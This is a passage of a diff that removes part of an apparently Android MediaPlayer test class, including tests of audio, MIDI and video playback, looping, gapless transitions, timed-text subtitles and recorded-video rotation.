-        mp2.setLooping(true);
-        mp2.start();
-
-        for (int i = 0; i < 20; i++) {
-            try {
-                AssetFileDescriptor afd = getAssetFileDescriptorFor("bug13652927.ogg");
-                mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-                afd.close();
-                mp.prepare();
-                fail("shouldn't be here");
-            } catch (Exception e) {
-                // expected to fail
-                Log.i("@@@", "failed: " + e);
-            }
-            Thread.sleep(500);
-            assertTrue("media server died", mp2.isPlaying());
-            mp.reset();
-        }
-    }
-
-    @Presubmit
-    public void testPlayNullSourcePath() throws Exception {
-        try {
-            mMediaPlayer.setDataSource((String) null);
-            fail("Null path was accepted");
-        } catch (RuntimeException e) {
-            // expected
-        }
-    }
-
-    public void testPlayAudioFromDataURI() throws Exception {
-        final int mp3Duration = 34909;
-        final int tolerance = 70;
-        final int seekDuration = 100;
-
-        // This is "R.raw.testmp3_2", base64-encoded.
-        final String res = "testmp3_3.raw";
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        InputStream is = new FileInputStream(mInpPrefix + res);
-        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
-
-        StringBuilder builder = new StringBuilder();
-        builder.append("data:;base64,");
-        builder.append(reader.readLine());
-        Uri uri = Uri.parse(builder.toString());
-
-        MediaPlayer mp = MediaPlayer.create(mContext, uri);
-
-        try {
-            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            assertFalse(mp.isLooping());
-            mp.setLooping(true);
-            assertTrue(mp.isLooping());
-
-            assertEquals(mp3Duration, mp.getDuration(), tolerance);
-            int pos = mp.getCurrentPosition();
-            assertTrue(pos >= 0);
-            assertTrue(pos < mp3Duration - seekDuration);
-
-            mp.seekTo(pos + seekDuration);
-            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
-
-            // test pause and restart
-            mp.pause();
-            Thread.sleep(SLEEP_TIME);
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            // test stop and restart
-            mp.stop();
-            mp.reset();
-            mp.setDataSource(mContext, uri);
-            mp.prepare();
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            // waiting to complete
-            while(mp.isPlaying()) {
-                Thread.sleep(SLEEP_TIME);
-            }
-        } finally {
-            mp.release();
-        }
-    }
-
-    public void testPlayAudioMp3() throws Exception {
-        testPlayAudio("testmp3_2.mp3",
-                34909 /* duration */, 70 /* tolerance */, 100 /* seekDuration */);
-    }
-
-    public void testPlayAudioOpus() throws Exception {
-        testPlayAudio("testopus.opus",
-                34909 /* duration */, 70 /* tolerance */, 100 /* seekDuration */);
-    }
-
-    public void testPlayAudioAmr() throws Exception {
-        testPlayAudio("testamr.amr",
-                34909 /* duration */, 70 /* tolerance */, 100 /* seekDuration */);
-    }
-
-    public void testPlayAudio(final String res,
-            int mp3Duration, int tolerance, int seekDuration) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
-        try {
-            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            assertFalse(mp.isLooping());
-            mp.setLooping(true);
-            assertTrue(mp.isLooping());
-
-            assertEquals(mp3Duration, mp.getDuration(), tolerance);
-            int pos = mp.getCurrentPosition();
-            assertTrue(pos >= 0);
-            assertTrue(pos < mp3Duration - seekDuration);
-
-            mp.seekTo(pos + seekDuration);
-            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
-
-            // test pause and restart
-            mp.pause();
-            Thread.sleep(SLEEP_TIME);
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            // test stop and restart
-            mp.stop();
-            mp.reset();
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            afd.close();
-            mp.prepare();
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            // waiting to complete
-            while(mp.isPlaying()) {
-                Thread.sleep(SLEEP_TIME);
-            }
-        } finally {
-            mp.release();
-        }
-    }
-
-    public void testConcurentPlayAudio() throws Exception {
-        final String res = "test1m1s.mp3"; // MP3 longer than 1m are usualy offloaded
-        final int tolerance = 70;
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        List<MediaPlayer> mps = Stream.generate(
-                () -> MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res))))
-                                      .limit(5).collect(Collectors.toList());
-
-        try {
-            for (MediaPlayer mp : mps) {
-                mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
-                mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-                assertFalse(mp.isPlaying());
-                mp.start();
-                assertTrue(mp.isPlaying());
-
-                assertFalse(mp.isLooping());
-                mp.setLooping(true);
-                assertTrue(mp.isLooping());
-
-                int pos = mp.getCurrentPosition();
-                assertTrue(pos >= 0);
-
-                Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
-            }
-            // Check that all mp3 are playing concurrently here
-            for (MediaPlayer mp : mps) {
-                int pos = mp.getCurrentPosition();
-                Thread.sleep(SLEEP_TIME);
-                assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
-            }
-        } finally {
-            mps.forEach(MediaPlayer::release);
-        }
-    }
-
-    public void testPlayAudioLooping() throws Exception {
-        final String res = "testmp3.mp3";
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
-        try {
-            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-            mp.setLooping(true);
-            mOnCompletionCalled.reset();
-            mp.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-                @Override
-                public void onCompletion(MediaPlayer mp) {
-                    Log.i("@@@", "got oncompletion");
-                    mOnCompletionCalled.signal();
-                }
-            });
-
-            assertFalse(mp.isPlaying());
-            mp.start();
-            assertTrue(mp.isPlaying());
-
-            int duration = mp.getDuration();
-            Thread.sleep(duration * 4); // allow for several loops
-            assertTrue(mp.isPlaying());
-            assertEquals("wrong number of completion signals", 0, mOnCompletionCalled.getNumSignal());
-            mp.setLooping(false);
-
-            // wait for playback to finish
-            while(mp.isPlaying()) {
-                Thread.sleep(SLEEP_TIME);
-            }
-            assertEquals("wrong number of completion signals", 1, mOnCompletionCalled.getNumSignal());
-        } finally {
-            mp.release();
-        }
-    }
-
-    public void testPlayMidi() throws Exception {
-        runMidiTest("midi8sec.mid", 8000 /* duration */);
-        runMidiTest("testrtttl.rtttl", 30000 /* duration */);
-        runMidiTest("testimy.imy", 5625 /* duration */);
-        runMidiTest("testota.ota", 5906 /* duration */);
-        runMidiTest("testmxmf.mxmf", 29095 /* duration */);
-    }
-
-    private void runMidiTest(final String res, int midiDuration) throws Exception {
-        final int tolerance = 70;
-        final int seekDuration = 1000;
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
-        try {
-            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-            mp.start();
-
-            assertFalse(mp.isLooping());
-            mp.setLooping(true);
-            assertTrue(mp.isLooping());
-
-            assertEquals(midiDuration, mp.getDuration(), tolerance);
-            int pos = mp.getCurrentPosition();
-            assertTrue(pos >= 0);
-            assertTrue(pos < midiDuration - seekDuration);
-
-            mp.seekTo(pos + seekDuration);
-            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
-
-            // test stop and restart
-            mp.stop();
-            mp.reset();
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            afd.close();
-            mp.prepare();
-            mp.start();
-
-            Thread.sleep(SLEEP_TIME);
-        } finally {
-            mp.release();
-        }
-    }
-
-    private final class VerifyAndSignalTimedText implements MediaPlayer.OnTimedTextListener {
-
-        final boolean mCheckStartTimeIncrease;
-        final int mTargetSignalCount;
-        int mPrevStartMs = -1;
-
-        VerifyAndSignalTimedText() {
-            this(Integer.MAX_VALUE, false);
-        }
-
-        VerifyAndSignalTimedText(int targetSignalCount, boolean checkStartTimeIncrease) {
-            mTargetSignalCount = targetSignalCount;
-            mCheckStartTimeIncrease = checkStartTimeIncrease;
-        }
-
-        void reset() {
-            mPrevStartMs = -1;
-        }
-
-        @Override
-        public void onTimedText(MediaPlayer mp, TimedText text) {
-            final int toleranceMs = 500;
-            final int durationMs = 500;
-            int posMs = mMediaPlayer.getCurrentPosition();
-            if (text != null) {
-                text.getText();
-                String plainText = text.getText();
-                if (plainText != null) {
-                    StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
-                    int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
-                    int startMs = Integer.parseInt(tokens.nextToken());
-                    Log.d(LOG_TAG, "text: " + plainText.trim() +
-                          ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
-                    assertTrue("The diff between subtitle's start time " + startMs +
-                               " and current time " + posMs +
-                               " is over tolerance " + toleranceMs,
-                               (posMs >= startMs - toleranceMs) &&
-                               (posMs < startMs + durationMs + toleranceMs) );
-                    assertEquals("Expected track: " + mSelectedTimedTextIndex +
-                                 ", actual track: " + subtitleTrackIndex,
-                                 mSelectedTimedTextIndex, subtitleTrackIndex);
-                    assertTrue("timed text start time did not increase; current: " + startMs +
-                               ", previous: " + mPrevStartMs,
-                               !mCheckStartTimeIncrease || startMs > mPrevStartMs);
-                    mPrevStartMs = startMs;
-                    mOnTimedTextCalled.signal();
-                    if (mTargetSignalCount >= mOnTimedTextCalled.getNumSignal()) {
-                        reset();
-                    }
-                }
-                Rect bounds = text.getBounds();
-                if (bounds != null) {
-                    Log.d(LOG_TAG, "bounds: " + bounds);
-                    mBoundsCount++;
-                    Rect expected = new Rect(0, 0, 352, 288);
-                    assertEquals("wrong bounds", expected, bounds);
-                }
-            }
-        }
-
-    }
-
-    static class OutputListener {
-        int mSession;
-        AudioEffect mVc;
-        Visualizer mVis;
-        byte [] mVisData;
-        boolean mSoundDetected;
-        OutputListener(int session) {
-            mSession = session;
-            // creating a volume controller on output mix ensures that ro.audio.silent mutes
-            // audio after the effects and not before
-            mVc = new AudioEffect(
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    UUID.fromString("119341a0-8469-11df-81f9-0002a5d5c51b"),
-                    0,
-                    session);
-            mVc.setEnabled(true);
-            mVis = new Visualizer(session);
-            int size = 256;
-            int[] range = Visualizer.getCaptureSizeRange();
-            if (size < range[0]) {
-                size = range[0];
-            }
-            if (size > range[1]) {
-                size = range[1];
-            }
-            assertTrue(mVis.setCaptureSize(size) == Visualizer.SUCCESS);
-
-            mVis.setDataCaptureListener(new Visualizer.OnDataCaptureListener() {
-                @Override
-                public void onWaveFormDataCapture(Visualizer visualizer,
-                        byte[] waveform, int samplingRate) {
-                    if (!mSoundDetected) {
-                        for (int i = 0; i < waveform.length; i++) {
-                            // 8 bit unsigned PCM, zero level is at 128, which is -128 when
-                            // seen as a signed byte
-                            if (waveform[i] != -128) {
-                                mSoundDetected = true;
-                                break;
-                            }
-                        }
-                    }
-                }
-
-                @Override
-                public void onFftDataCapture(Visualizer visualizer, byte[] fft, int samplingRate) {
-                }
-            }, 10000 /* milliHertz */, true /* PCM */, false /* FFT */);
-            assertTrue(mVis.setEnabled(true) == Visualizer.SUCCESS);
-        }
-
-        void reset() {
-            mSoundDetected = false;
-        }
-
-        boolean heardSound() {
-            return mSoundDetected;
-        }
-
-        void release() {
-            mVis.release();
-            mVc.release();
-        }
-    }
-
-    public void testPlayAudioTwice() throws Exception {
-
-        final String res = "camera_click.ogg";
-
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
-        try {
-            mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
-            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
-
-            OutputListener listener = new OutputListener(mp.getAudioSessionId());
-
-            Thread.sleep(SLEEP_TIME);
-            assertFalse("noise heard before test started", listener.heardSound());
-
-            mp.start();
-            Thread.sleep(SLEEP_TIME);
-            assertFalse("player was still playing after " + SLEEP_TIME + " ms", mp.isPlaying());
-            assertTrue("nothing heard while test ran", listener.heardSound());
-            listener.reset();
-            mp.seekTo(0);
-            mp.start();
-            Thread.sleep(SLEEP_TIME);
-            assertTrue("nothing heard when sound was replayed", listener.heardSound());
-            listener.release();
-        } finally {
-            mp.release();
-        }
-    }
-
-    public void testPlayVideo() throws Exception {
-        playLoadedVideoTest("testvideo.3gp", 352, 288);
-    }
-
-    private void initMediaPlayer(MediaPlayer player) throws Exception {
-        AssetFileDescriptor afd = getAssetFileDescriptorFor("test1m1s.mp3");
-        try {
-            player.reset();
-            player.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            player.prepare();
-            player.seekTo(56000);
-        } finally {
-            afd.close();
-        }
-    }
-
-    @Presubmit
-    public void testSetNextMediaPlayerWithReset() throws Exception {
-
-        initMediaPlayer(mMediaPlayer);
-
-        try {
-            initMediaPlayer(mMediaPlayer2);
-            mMediaPlayer2.reset();
-            mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
-            fail("setNextMediaPlayer() succeeded with unprepared player");
-        } catch (RuntimeException e) {
-            // expected
-        } finally {
-            mMediaPlayer.reset();
-        }
-    }
-
-    @Presubmit
-    public void testSetNextMediaPlayerWithRelease() throws Exception {
-
-        initMediaPlayer(mMediaPlayer);
-
-        try {
-            initMediaPlayer(mMediaPlayer2);
-            mMediaPlayer2.release();
-            mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
-            fail("setNextMediaPlayer() succeeded with unprepared player");
-        } catch (RuntimeException e) {
-            // expected
-        } finally {
-            mMediaPlayer.reset();
-        }
-    }
-
-    public void testSetNextMediaPlayer() throws Exception {
-        initMediaPlayer(mMediaPlayer);
-
-        final Monitor mTestCompleted = new Monitor();
-
-        Thread timer = new Thread(new Runnable() {
-
-            @Override
-            public void run() {
-                long startTime = SystemClock.elapsedRealtime();
-                while(true) {
-                    SystemClock.sleep(SLEEP_TIME);
-                    if (mTestCompleted.isSignalled()) {
-                        // done
-                        return;
-                    }
-                    long now = SystemClock.elapsedRealtime();
-                    if ((now - startTime) > 45000) {
-                        // We've been running for 45 seconds and still aren't done, so we're stuck
-                        // somewhere. Signal ourselves to dump the thread stacks.
-                        android.os.Process.sendSignal(android.os.Process.myPid(), 3);
-                        SystemClock.sleep(2000);
-                        fail("Test is stuck, see ANR stack trace for more info. You may need to" +
-                                " create /data/anr first");
-                        return;
-                    }
-                }
-            }
-        });
-
-        timer.start();
-
-        try {
-            for (int i = 0; i < 3; i++) {
-
-                initMediaPlayer(mMediaPlayer2);
-                mOnCompletionCalled.reset();
-                mOnInfoCalled.reset();
-                mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-                    @Override
-                    public void onCompletion(MediaPlayer mp) {
-                        assertEquals(mMediaPlayer, mp);
-                        mOnCompletionCalled.signal();
-                    }
-                });
-                mMediaPlayer2.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-                    @Override
-                    public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                        assertEquals(mMediaPlayer2, mp);
-                        if (what == MediaPlayer.MEDIA_INFO_STARTED_AS_NEXT) {
-                            mOnInfoCalled.signal();
-                        }
-                        return false;
-                    }
-                });
-
-                mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
-                mMediaPlayer.start();
-                assertTrue(mMediaPlayer.isPlaying());
-                assertFalse(mOnCompletionCalled.isSignalled());
-                assertFalse(mMediaPlayer2.isPlaying());
-                assertFalse(mOnInfoCalled.isSignalled());
-                while(mMediaPlayer.isPlaying()) {
-                    Thread.sleep(SLEEP_TIME);
-                }
-                // wait a little longer in case the callbacks haven't quite made it through yet
-                Thread.sleep(100);
-                assertTrue(mMediaPlayer2.isPlaying());
-                assertTrue(mOnCompletionCalled.isSignalled());
-                assertTrue(mOnInfoCalled.isSignalled());
-
-                // At this point the 1st player is done, and the 2nd one is playing.
-                // Now swap them, and go through the loop again.
-                MediaPlayer tmp = mMediaPlayer;
-                mMediaPlayer = mMediaPlayer2;
-                mMediaPlayer2 = tmp;
-            }
-
-            // Now test that setNextMediaPlayer(null) works. 1 is still playing, 2 is done
-            mOnCompletionCalled.reset();
-            mOnInfoCalled.reset();
-            initMediaPlayer(mMediaPlayer2);
-            mMediaPlayer.setNextMediaPlayer(mMediaPlayer2);
-
-            mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-                @Override
-                public void onCompletion(MediaPlayer mp) {
-                    assertEquals(mMediaPlayer, mp);
-                    mOnCompletionCalled.signal();
-                }
-            });
-            mMediaPlayer2.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-                @Override
-                public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                    assertEquals(mMediaPlayer2, mp);
-                    if (what == MediaPlayer.MEDIA_INFO_STARTED_AS_NEXT) {
-                        mOnInfoCalled.signal();
-                    }
-                    return false;
-                }
-            });
-            assertTrue(mMediaPlayer.isPlaying());
-            assertFalse(mOnCompletionCalled.isSignalled());
-            assertFalse(mMediaPlayer2.isPlaying());
-            assertFalse(mOnInfoCalled.isSignalled());
-            Thread.sleep(SLEEP_TIME);
-            mMediaPlayer.setNextMediaPlayer(null);
-            while(mMediaPlayer.isPlaying()) {
-                Thread.sleep(SLEEP_TIME);
-            }
-            // wait a little longer in case the callbacks haven't quite made it through yet
-            Thread.sleep(100);
-            assertFalse(mMediaPlayer.isPlaying());
-            assertFalse(mMediaPlayer2.isPlaying());
-            assertTrue(mOnCompletionCalled.isSignalled());
-            assertFalse(mOnInfoCalled.isSignalled());
-
-        } finally {
-            mMediaPlayer.reset();
-            mMediaPlayer2.reset();
-        }
-        mTestCompleted.signal();
-
-    }
-
-    // The following tests are all a bit flaky, which is why they're retried a
-    // few times in a loop.
-
-    // This test uses one mp3 that is silent but has a strong positive DC offset,
-    // and a second mp3 that is also silent but has a strong negative DC offset.
-    // If the two are played back overlapped, they will cancel each other out,
-    // and result in zeroes being detected. If there is a gap in playback, that
-    // will also result in zeroes being detected.
-    // Note that this test does NOT guarantee that the correct data is played
-    public void testGapless1() throws Exception {
-        flakyTestWrapper("monodcpos.mp3", "monodcneg.mp3");
-    }
-
-    // This test is similar, but uses two identical m4a files that have some noise
-    // with a strong positive DC offset. This is used to detect if there is
-    // a gap in playback
-    // Note that this test does NOT guarantee that the correct data is played
-    public void testGapless2() throws Exception {
-        flakyTestWrapper("stereonoisedcpos.m4a", "stereonoisedcpos.m4a");
-    }
-
-    // same as above, but with a mono file
-    public void testGapless3() throws Exception {
-        flakyTestWrapper("mononoisedcpos.m4a", "mononoisedcpos.m4a");
-    }
-
-    private void flakyTestWrapper(final String res1, final String res2) throws Exception {
-        boolean success = false;
-        // test usually succeeds within a few tries, but occasionally may fail
-        // many times in a row, so be aggressive and try up to 20 times
-        for (int i = 0; i < 20 && !success; i++) {
-            try {
-                testGapless(res1, res2);
-                success = true;
-            } catch (Throwable t) {
-                SystemClock.sleep(1000);
-            }
-        }
-        // Try one more time. If this succeeds, we'll consider the test a success,
-        // otherwise the exception gets thrown
-        if (!success) {
-            testGapless(res1, res2);
-        }
-    }
-
-    private void testGapless(final String res1, final String res2) throws Exception {
-        MediaPlayer mp1 = null;
-        MediaPlayer mp2 = null;
-        AudioEffect vc = null;
-        Visualizer vis = null;
-        AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        int oldRingerMode = Integer.MIN_VALUE;
-        int oldVolume = Integer.MIN_VALUE;
-        try {
-            if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
-                Utils.toggleNotificationPolicyAccess(
-                        mContext.getPackageName(), getInstrumentation(), true /* on */);
-            }
-
-            mp1 = new MediaPlayer();
-            mp1.setAudioStreamType(AudioManager.STREAM_MUSIC);
-
-            AssetFileDescriptor afd = getAssetFileDescriptorFor(res1);
-            mp1.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            afd.close();
-            mp1.prepare();
-
-            int session = mp1.getAudioSessionId();
-
-            mp2 = new MediaPlayer();
-            mp2.setAudioSessionId(session);
-            mp2.setAudioStreamType(AudioManager.STREAM_MUSIC);
-
-            afd = getAssetFileDescriptorFor(res2);
-            mp2.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            afd.close();
-            mp2.prepare();
-
-            // creating a volume controller on output mix ensures that ro.audio.silent mutes
-            // audio after the effects and not before
-            vc = new AudioEffect(
-                            AudioEffect.EFFECT_TYPE_NULL,
-                            UUID.fromString("119341a0-8469-11df-81f9-0002a5d5c51b"),
-                            0,
-                            session);
-            vc.setEnabled(true);
-            int captureintervalms = mp1.getDuration() + mp2.getDuration() - 2000;
-            int size = 256;
-            int[] range = Visualizer.getCaptureSizeRange();
-            if (size < range[0]) {
-                size = range[0];
-            }
-            if (size > range[1]) {
-                size = range[1];
-            }
-            byte[] vizdata = new byte[size];
-
-            vis = new Visualizer(session);
-
-            oldRingerMode = am.getRingerMode();
-            // make sure we aren't in silent mode
-            if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
-                am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
-            }
-            oldVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
-            am.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-
-            assertEquals("setCaptureSize failed",
-                    Visualizer.SUCCESS, vis.setCaptureSize(vizdata.length));
-            assertEquals("setEnabled failed", Visualizer.SUCCESS, vis.setEnabled(true));
-
-            mp1.setNextMediaPlayer(mp2);
-            mp1.start();
-            assertTrue(mp1.isPlaying());
-            assertFalse(mp2.isPlaying());
-            // allow playback to get started
-            Thread.sleep(SLEEP_TIME);
-            long start = SystemClock.elapsedRealtime();
-            // there should be no consecutive zeroes (-128) in the capture buffer
-            // when going to the next file. If silence is detected right away, then
-            // the volume is probably turned all the way down (visualizer data
-            // is captured after volume adjustment).
-            boolean first = true;
-            while((SystemClock.elapsedRealtime() - start) < captureintervalms) {
-                assertTrue(vis.getWaveForm(vizdata) == Visualizer.SUCCESS);
-                for (int i = 0; i < vizdata.length - 1; i++) {
-                    if (vizdata[i] == -128 && vizdata[i + 1] == -128) {
-                        if (first) {
-                            fail("silence detected, please increase volume and rerun test");
-                        } else {
-                            fail("gap or overlap detected at t=" +
-                                    (SLEEP_TIME + SystemClock.elapsedRealtime() - start) +
-                                    ", offset " + i);
-                        }
-                        break;
-                    }
-                }
-                first = false;
-            }
-        } finally {
-            if (mp1 != null) {
-                mp1.release();
-            }
-            if (mp2 != null) {
-                mp2.release();
-            }
-            if (vis != null) {
-                vis.release();
-            }
-            if (vc != null) {
-                vc.release();
-            }
-            if (oldRingerMode != Integer.MIN_VALUE) {
-                am.setRingerMode(oldRingerMode);
-            }
-            if (oldVolume != Integer.MIN_VALUE) {
-                am.setStreamVolume(AudioManager.STREAM_MUSIC, oldVolume, 0);
-            }
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false  /* on == false */);
-        }
-    }
-
-    /**
-     * Test for reseting a surface during video playback
-     * After reseting, the video should continue playing
-     * from the time setDisplay() was called
-     */
-    public void testVideoSurfaceResetting() throws Exception {
-        final int tolerance = 150;
-        final int audioLatencyTolerance = 1000;  /* covers audio path latency variability */
-        final int seekPos = 4760;  // This is the I-frame position
-
-        final CountDownLatch seekDone = new CountDownLatch(1);
-
-        mMediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
-            @Override
-            public void onSeekComplete(MediaPlayer mp) {
-                seekDone.countDown();
-            }
-        });
-
-        if (!checkLoadResource("testvideo.3gp")) {
-            return; // skip;
-        }
-        playLoadedVideo(352, 288, -1);
-
-        Thread.sleep(SLEEP_TIME);
-
-        int posBefore = mMediaPlayer.getCurrentPosition();
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder2());
-        int posAfter = mMediaPlayer.getCurrentPosition();
-
-        /* temporarily disable timestamp checking because MediaPlayer now seeks to I-frame
-         * position, instead of requested position. setDisplay invovles a seek operation
-         * internally.
-         */
-        // TODO: uncomment out line below when MediaPlayer can seek to requested position.
-        // assertEquals(posAfter, posBefore, tolerance);
-        assertTrue(mMediaPlayer.isPlaying());
-
-        Thread.sleep(SLEEP_TIME);
-
-        mMediaPlayer.seekTo(seekPos);
-        seekDone.await();
-        posAfter = mMediaPlayer.getCurrentPosition();
-        assertEquals(seekPos, posAfter, tolerance + audioLatencyTolerance);
-
-        Thread.sleep(SLEEP_TIME / 2);
-        posBefore = mMediaPlayer.getCurrentPosition();
-        mMediaPlayer.setDisplay(null);
-        posAfter = mMediaPlayer.getCurrentPosition();
-        // TODO: uncomment out line below when MediaPlayer can seek to requested position.
-        // assertEquals(posAfter, posBefore, tolerance);
-        assertTrue(mMediaPlayer.isPlaying());
-
-        Thread.sleep(SLEEP_TIME);
-
-        posBefore = mMediaPlayer.getCurrentPosition();
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        posAfter = mMediaPlayer.getCurrentPosition();
-
-        // TODO: uncomment out line below when MediaPlayer can seek to requested position.
-        // assertEquals(posAfter, posBefore, tolerance);
-        assertTrue(mMediaPlayer.isPlaying());
-
-        Thread.sleep(SLEEP_TIME);
-    }
-
-    public void testRecordedVideoPlayback0() throws Exception {
-        testRecordedVideoPlaybackWithAngle(0);
-    }
-
-    public void testRecordedVideoPlayback90() throws Exception {
-        testRecordedVideoPlaybackWithAngle(90);
-    }
-
-    public void testRecordedVideoPlayback180() throws Exception {
-        testRecordedVideoPlaybackWithAngle(180);
-    }
-
-    public void testRecordedVideoPlayback270() throws Exception {
-        testRecordedVideoPlaybackWithAngle(270);
-    }
-
-    private boolean hasCamera() {
-        return getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
-    }
-
-    private Camera mCamera;
-    private void testRecordedVideoPlaybackWithAngle(int angle) throws Exception {
-        int width = RECORDED_VIDEO_WIDTH;
-        int height = RECORDED_VIDEO_HEIGHT;
-        final String file = RECORDED_FILE;
-        final long durationMs = RECORDED_DURATION_MS;
-
-        if (!hasCamera()) {
-            return;
-        }
-
-        boolean isSupported = false;
-        mCamera = Camera.open(0);
-        Camera.Parameters parameters = mCamera.getParameters();
-        List<Camera.Size> videoSizes = parameters.getSupportedVideoSizes();
-        // getSupportedVideoSizes returns null when separate video/preview size
-        // is not supported.
-        if (videoSizes == null) {
-            // If we have CamcorderProfile use it instead of Preview size.
-            if (CamcorderProfile.hasProfile(0, CamcorderProfile.QUALITY_LOW)) {
-                CamcorderProfile profile = CamcorderProfile.get(0, CamcorderProfile.QUALITY_LOW);
-                videoSizes = new ArrayList();
-                videoSizes.add(mCamera.new Size(profile.videoFrameWidth, profile.videoFrameHeight));
-            } else {
-                videoSizes = parameters.getSupportedPreviewSizes();
-            }
-        }
-        for (Camera.Size size : videoSizes)
-        {
-            if (size.width == width && size.height == height) {
-                isSupported = true;
-                break;
-            }
-        }
-        mCamera.release();
-        mCamera = null;
-        if (!isSupported) {
-            width = videoSizes.get(0).width;
-            height = videoSizes.get(0).height;
-        }
-        checkOrientation(angle);
-        recordVideo(width, height, angle, file, durationMs);
-        checkDisplayedVideoSize(width, height, angle, file);
-        checkVideoRotationAngle(angle, file);
-    }
-
-    private void checkOrientation(int angle) throws Exception {
-        assertTrue(angle >= 0);
-        assertTrue(angle < 360);
-        assertTrue((angle % 90) == 0);
-    }
-
-    private void recordVideo(
-            int w, int h, int angle, String file, long durationMs) throws Exception {
-
-        MediaRecorder recorder = new MediaRecorder();
-        recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
-        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
-        recorder.setOutputFile(file);
-        recorder.setOrientationHint(angle);
-        recorder.setVideoSize(w, h);
-        recorder.setPreviewDisplay(getActivity().getSurfaceHolder2().getSurface());
-        recorder.prepare();
-        recorder.start();
-        Thread.sleep(durationMs);
-        recorder.stop();
-        recorder.release();
-        recorder = null;
-    }
-
-    private void checkDisplayedVideoSize(
-            int w, int h, int angle, String file) throws Exception {
-
-        int displayWidth  = w;
-        int displayHeight = h;
-        if ((angle % 180) != 0) {
-            displayWidth  = h;
-            displayHeight = w;
-        }
-        playVideoTest(file, displayWidth, displayHeight);
-    }
-
-    private void checkVideoRotationAngle(int angle, String file) {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        retriever.setDataSource(file);
-        String rotation = retriever.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
-        retriever.release();
-        retriever = null;
